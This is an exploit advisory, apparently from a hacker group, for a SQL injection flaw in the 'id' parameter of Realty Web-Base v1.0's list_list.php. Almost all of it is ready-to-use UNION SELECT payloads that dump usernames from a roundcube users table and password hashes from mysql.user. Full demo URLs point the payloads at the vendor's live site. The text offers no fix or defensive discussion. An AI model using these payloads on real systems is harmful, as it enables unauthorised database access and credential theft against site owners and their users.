--------------------------------------------------------------- ------------------------------------------------------------ Realty Web-Base v1.0 (list_list.php id) SQL Injection Vulnerability --------------------------------------------------------------- Founder : ThE g0bL!N Home:WwW.h4ckF0u.CoM Vendor:http://www.realtywebware.com --------------------------------------------------------------- --------------------------------------------------------------- SQL Injection Vulnerability ------------------------------------------------ Exploit F0r user: ----------------- list_list.php?id=-1+UNION%20SELECT%20username,2+from+roundcube.users-- Exploit For Pass: ---------------- list_list.php?id=-1+UNION%20SELECT+password,2+from+mysql.user-- -------------------------------------- Dem0 ---- user: ----- http://www.realtywebware.com/demo/list_list.php?id=-1+UNION%20SELECT%20username,2+from+roundcube.users-- pass: ---- http://www.realtywebware.com/demo/list_list.php?id=-1+UNION%20SELECT+password,2+from+mysql.user-- -------------------------------------- Greeting To ALL My Friends (Dz)